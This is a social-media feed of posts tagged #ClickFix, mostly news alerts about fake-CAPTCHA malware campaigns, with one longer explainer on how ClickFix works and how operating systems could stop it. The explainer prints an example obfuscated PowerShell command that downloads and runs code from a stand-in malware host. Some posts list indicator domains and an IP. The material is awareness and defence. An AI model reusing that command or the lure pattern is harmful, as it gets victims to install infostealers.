#ClickFix

The Daily Tech Feed

@thedailytechfeed.com

15 hours ago

Cyberattackers have evolved the ClickFix technique, exploiting network drives and Electron apps to deploy malware. Stay informed and protect your systems. #CyberSecurity #ClickFix #MalwareAlert Link: thedailytechfeed.com/advanced-cli...

Ed "Zorz" Hafizov

@zorzstudios.com

1 day ago

A 'Free Photoshop' scam on #TikTok is stealing people's data: zorz.it/OABup

#JeremyGray #FreePhotoshop #AdobePhotoshop #ClickFix #CyberCriminals #Microsoft #Photoshop #scam #SocialMedia

Ralf Ladner

@ralf-ladner.bsky.social

2 days ago

MacOS-Nutzer verstärkt im Visier von Social-Engineering-Attacken

#Authentifizierung #ClickFix #Cybersecurity #Cybersicherheit #GenAI #MacOS #Phishing #SocialEngineering @Sophos @Sophos_info

netzpalaver.de/2026/...

The Daily Tech Feed

@thedailytechfeed.com

3 days ago

Mac users, beware! Fake CAPTCHAs are tricking users into running malicious Terminal commands. Stay vigilant and never execute commands from untrusted sources. #CyberSecurity #MacOS #ClickFix Link: thedailytechfeed.com/fake-captcha...

piggo

@pigondrugs.bsky.social

3 days ago

~Sophos~
Attackers use fake ChatGPT lures and ClickFix tactics to trick macOS users into installing the MacSync infostealer, targeting crypto wallets.
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IOCs: mymachub. com, mymacsoft. com, mac-faster. com
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#ClickFix #Infostealer #ThreatIntel #macOS

Ralf Ladner

@ralf-ladner.bsky.social

3 days ago

Vermeintlich von Google gesponserte Online-Anzeigen für Anthropics Claude-Code bereiten den Weg für Malware

#Anthropic @Bitdefender_DE #ClaudeCode #ClickFix #Cybersecurity #Cybersicherheit #Malware @Bitdefender

netzpalaver.de/2026/...

Firefox

@firefox.activitypub.awakari.com.ap.brid.gy

4 days ago

VodkaStealer Malware Harvests Browser Credentials and Session Token Threat Group – Unidentified financially motivated threat actor associated with the ClickFix WordPress compromise campaign Threa...

#Malware #ClickFix #Credential #Theft

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thedailyperspective.org

@thedailyperspective.org

4 days ago

Hackers Turn Trusted Websites Into Malware Launchpads Over 250 compromised WordPress websites are distributing infostealer malware through fake security prompts in a global attack targeting users in 12 countries.

Hackers Turn Trusted Websites Into Malware Launchpads

#Cybersecurity #Malware #WordPress #ClickFix #AusNews

thedailyperspective.org/article/2026-03-10-hacke...

The New Oil

@thenewoil.org

4 days ago

Fixing ClickFix There’s a very potent, very effective new malware delivery mechanism dubbed ClickFix, accounting for over half of all infections last year. I’ll tell you how to avoid it – and why you shouldn’t have to. ## What is ClickFix? We’re getting used to seeing CAPTCHAs that make us do weird things to prove that we’re real humans. (This is becoming increasingly ironic as we deploy “agentic” AI bots to do things on our behalves.) But the bad guys have come up with a devilishly clever way to exploit this and similar situations to trick us into installing malware. The attack is called “ClickFix”, though there are other variants. So, how does this work? The bad guys need to get you to a malicious web page. This can happen in many ways, from clicking on a malicious ad (called “malvertising”), or a “sponsored” link in search results, or a link from a phishing email – either in the email itself or in an attached file. You may also run across scams like this on shady sites, like for pirated software or movies. But however you get there, you will see some sort of message or error along these lines: * Please verify that you’re a human (CAPTCHA) * Browser verification failed * Additional verification required * Please run this command to continue * App has crashed, run this command to scan for problems or fix the issue An actual ClickFix example is shown below. Actual ClickFix example ## How ClickFix Works When you’re in a web browser on a desktop computer, you have several layers of protection. Browsers are “sandboxed” and can’t directly run commands on your computer. Most have some sort of download protections, including marking any file downloaded from the internet with a “mark of the web“. This mark tells your computer to be extra careful when opening these documents, particularly if they try to install something or run commands. And some of us have third party antivirus software (though I don’t recommend this) that would also try to prevent you from downloading malware. But ClickFix works by tricking you into bypassing all of these protections. Let’s look at the example above. Here’s what is actually going on. 1. The malicious web page that shows this message has automatically loaded your system clipboard with a computer command. That is, the page has surreptitiously copied some hidden text so that it’s ready to paste. 2. The “Win + R” key combination on a Windows computer will open up a Run dialog which allows you to execute commands as text (as opposed to the usual graphical user interface). 3. The “Ctrl + V” key combination will paste the contents of the clipboard into the Run dialog. This is the malicious computer command that was pre-copied to the clipboard when you visited the attacker’s web page. 4. And finally, hitting “Enter” will tell your computer to execute the malicious command. The command itself is often obfuscated so it’s difficult to tell what it’s really doing. Here’s an example command: powershell -NoP -W Hidden -C $a="https://mal"; $b="waresite.com/update"; $u=$a+$b; iex (irm $u) # browser verification step This command opens a (hidden) PowerShell window, downloads a malicious command from a website (which is obfuscated by breaking it into two parts) and executes the command. You’ve just told your computer to install malware, which it will happily do. If the command is really long, like this one, it will scroll to the end and all you might see is the benign-looking comment at the end. You might also be asked to open File Explorer because you can paste and run commands in the address bar. On a Mac, you’d be asked to open a Terminal window instead of a Run dialog. All different ways to do the same thing. ## Fixing ClickFix So, now that you know how this works, the solution is to just ignore the directions like this, no matter how authentic they look or how dire or innocuous they sound. Close the web page and pat yourself on the back. But here’s the bottom line: you shouldn’t _have_ to worry about this. This is a failing of the operating system (OS). Apple and Microsoft need to address this problem in macOS and Windows, and they should do it ASAP. How? I can think of a few ideas… 1. Everything copied to the clipboard (anything that can be subsequently pasted) should know and remember where it came from. Any text placed on your clipboard by a website should be flagged as suspicious (like the ‘mark of the web’). Your OS should then warn you before pasting this text into a Run dialog, Terminal window, or anywhere else that could execute a computer command. 2. You should have an easy way to inspect the content of your clipboard (without having to paste it somewhere), including the provenance of what’s stored there. 3. Web browsers should not be able to automatically put text on your clipboard without any user action whatsoever. It should at least be a setting you can toggle (defaulting to not allowing it). People that do a lot of computer programming copy and paste commands to run all the time. I know I do. So we would need some ways to disable constant warnings in those cases, maybe for a limited amount of time (‘stop warning me for 2 hours’). But by default, the OS should be making it a lot harder to paste commands from the web into a terminal and execute them. We should not be counting on training billions of people to avoid ClickFix-style attacks. #### Need practical security tips? Sign up to receive Carey's favorite security tips + the first chapter of his book, _Firewalls Don't Stop Dragons_. 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Fixing #ClickFix

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#cybersecurity #guide

fugitive247

@fugitive247.bsky.social

5 days ago

New ClickFix Attack Wave Targeting Windows Systems to Deploy StealC Stealer Fake CAPTCHA pages trick Windows users into running PowerShell, deploying StealC malware to steal sensitive data.

🚨 Cross-scripted FAKE CAPTCHA launches #StealC malware exploit:

"This #ClickFix technique exploits user trust, making victims believe they are completing a routine security check when they are actually launching malware."

cybersecuritynews.com/new-clickfix...

The New Oil

@thenewoil.org

5 days ago

Termite ransomware breaches linked to ClickFix CastleRAT attacks Ransomware threat actors tracked as Velvet Tempest are using the ClickFix technique and legitimate Windows utilities to deploy the DonutLoader malware and the CastleRAT backdoor.

#Termite #ransomware breaches linked to #ClickFix #CastleRAT attacks

www.bleepingcomputer.com/news/security/termite-ra...

#cybersecurity

Hackread.com

@hackread.bsky.social

5 days ago

Fake CleanMyMac Site Uses ClickFix Trick to Install SHub Stealer on macOS Follow us on all social media platforms @Hackread

A fake #CleanMyMac site is tricking Mac users into pasting a Terminal command that installs new SHub Stealer. The #ClickFix attack steals Keychain credentials and backdoors crypto wallets like Exodus, Ledger and Trezor

Read: hackread.com/fake-cleanmy...

#macOS #CyberSecurity #Malware #Infostealer

ReconBee

@reconbee.bsky.social

5 days ago

Termite ransomware breaches linked to ClickFix CastleRAT attacks non-profit organization in the United States read more about Termite ransomware breaches linked to ClickFix CastleRAT attacks

Termite ransomware breaches linked to ClickFix CastleRAT attacks reconbee.com/termite-rans...

#Termiteransomware #ransomware #ClickFix #CastleRAT #cybersecurity #cyberattack

Ahmandonk

@ahmandonk.bsky.social

6 days ago

📰 Serangan Termite Ransomware Dikaitkan dengan ClickFix dan CastleRAT

👉 Baca artikel lengkap di sini: ahmandonk.com/2026/03/08/termite-ranso...

#clickfix #keamananSibe #keamananSiber #malware #ransomware #termite

The Daily Tech Feed

@thedailytechfeed.com

1 week ago

Alert: Cybercriminals are impersonating VCs on LinkedIn to target crypto pros with malware via fake video calls. Stay vigilant! #CyberSecurity #Crypto #Web3 #Phishing #ClickFix Link: thedailytechfeed.com/fake-vcs-on-...

The Daily Tech Feed

@thedailytechfeed.com

1 week ago

New ClickFix attack exploits Windows Terminal to deploy Lumma Stealer malware. Stay vigilant and educate users to avoid pasting commands from untrusted sources. #CyberSecurity #ClickFix #WindowsTerminal Link: thedailytechfeed.com/new-clickfix...

The Daily Tech Feed

@thedailytechfeed.com

1 week ago

Microsoft uncovers a new ClickFix campaign exploiting Windows Terminal to deploy Lumma Stealer malware. Stay vigilant and avoid executing unsolicited commands. #CyberSecurity #ClickFix #LummaStealer Link: thedailytechfeed.com/microsoft-un...

ReconBee

@reconbee.bsky.social

1 week ago

Microsoft Reveals ClickFix Campaign Using Windows Terminal to Deploy Lumma Stealer validity to deceive gullible users read more about Microsoft Reveals ClickFix Campaign Using Windows Terminal to Deploy Lumma Stealer

Microsoft Reveals ClickFix Campaign Using Windows Terminal to Deploy Lumma Stealer reconbee.com/microsoft-re...

#microsoft #clickfixcampaign #clickfix #windows #lummastealer #malware #cyberattacks

Grub :verified: :linux: :gnu:

@grub-09.mastodon.uno.ap.brid.gy

1 week ago

QuickLens: estensione per Chrome che ruba criptovalute
Il Chrome Web Store dovrebbe essere una fonte affidabile. Invece è stata scoperta un’altra estensione usata per rubare le criptovalute alle ignare vittime. QuickLens doveva servire per la ricerca dei contenuti sullo schermo tramite Google […]

lazarusholic

@lazarusholic.bsky.social

1 week ago

"North Korea's Safari: Poaching for Gophers" published by Bitso. #FamousChollima, #ClickFix, #DPRK, #CTI quetzal.bitso.com/p/north-koreas-safari-po...

lazarusholic

@lazarusholic.bsky.social

1 week ago

"Fake VCs target crypto talent" published by Moonlock. #ClickFix, #UNC1069, #DPRK, #CTI moonlock.com/fake-vcs-target-crypto-t...

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@2rzikkbou3ntafnir2qmmse0gwz.activitypub.awakari.com.ap.brid.gy

1 week ago

The Fake Google Security Alert That Can Drain Your Passwords: Inside the ClickFix Cyberattack Sweeping the Web A sophisticated cyberattack campaign uses fake Google security verification pages to t...

#CybersecurityUpdate #ClickFix #attack #fake #Google […]

[Original post on webpronews.com]

CyberMaterial

@cybermaterial.bsky.social

1 week ago

QuickLens Chrome Extension Steals Crypto
Read More: buff.ly/G0jAxGH

#QuickLens #ChromeExtension #CryptoTheft #ClickFix #BrowserSecurity #MaliciousUpdate #WebStoreSecurity #InfosecAlert

The New Oil

@thenewoil.org

1 week ago

QuickLens Chrome extension steals crypto, shows ClickFix attack A Chrome extension named "QuickLens - Search Screen with Google Lens" has been removed from the Chrome Web Store after it was compromised to push malware and attempt to steal crypto from thousands of users.

#QuickLens #Chrome extension steals #crypto, shows #ClickFix attack

www.bleepingcomputer.com/news/security/quicklens-...

#cybersecurity #Google

Hashlytics.io

@hashlytics.io

1 week ago

QuickLens Chrome Extension Steals Crypto via ClickFix

Security researchers have identified a malicious Google Chrome extension named QuickLens that steals cryptocurrency credentials and other sensitive data through... #ClickFix

The Daily Tech Feed

@thedailytechfeed.com

2 weeks ago

Beware of the new ClickFix infostealer campaign using fake CAPTCHA lures to deploy malware. Stay vigilant and educate users on the risks. #CyberSecurity #MalwareAlert #ClickFix Link: thedailytechfeed.com/malware-camp...

The Daily Tech Feed

@thedailytechfeed.com

2 weeks ago

Alert: New 'ClickFix' campaign delivers MIMICRAT RAT via compromised sites. Stay vigilant against fake browser prompts. #CyberSecurity #MIMICRAT #ClickFix #InfoSec Link: thedailytechfeed.com/new-mimicrat...

Andy

@silv3rflame.bsky.social

2 weeks ago

Initial visit to compromised website.

After clicking the "I'm not a robot" checkbox.

After clicking the "Continue to Verification" button.

After pressing the "R" key. Command copied to the clipboard for potential victim to execute.

Compromised website > #ClickFix:

New #ClickFix fake One-Time Device Verification technique.

Date Observed: 2026-02-23

IOCs:
hxxp://94[.]156[.]170[.]255/webdav

Hackread.com

@hackread.bsky.social

3 weeks ago

New ClickFix Attack Targets Crypto Wallets and 25+ Browsers with Infostealer Fake CAPTCHA campaign tied to ClickFix spreads infostealer targeting 25+ browsers, crypto wallets and gaming accounts via malicious PowerShell commands.

📢⚠️ New ClickFix attack uses fake CAPTCHA pages to trick users into running #PowerShell malware. The infostealer targets crypto wallets, 25+ browsers, gaming accounts, and VPN data.

Read: hackread.com/clickfix-att...

#CyberSecurity #Malware #Infostealer #ClickFix #Captcha

The Daily Tech Feed

@thedailytechfeed.com

3 weeks ago

Cybercriminals are now exploiting `nslookup.exe` in advanced ClickFix attacks to deploy malware via DNS queries. Stay vigilant and enhance your DNS monitoring. #CyberSecurity #ClickFix #nslookup Link: thedailytechfeed.com/cybercrimina...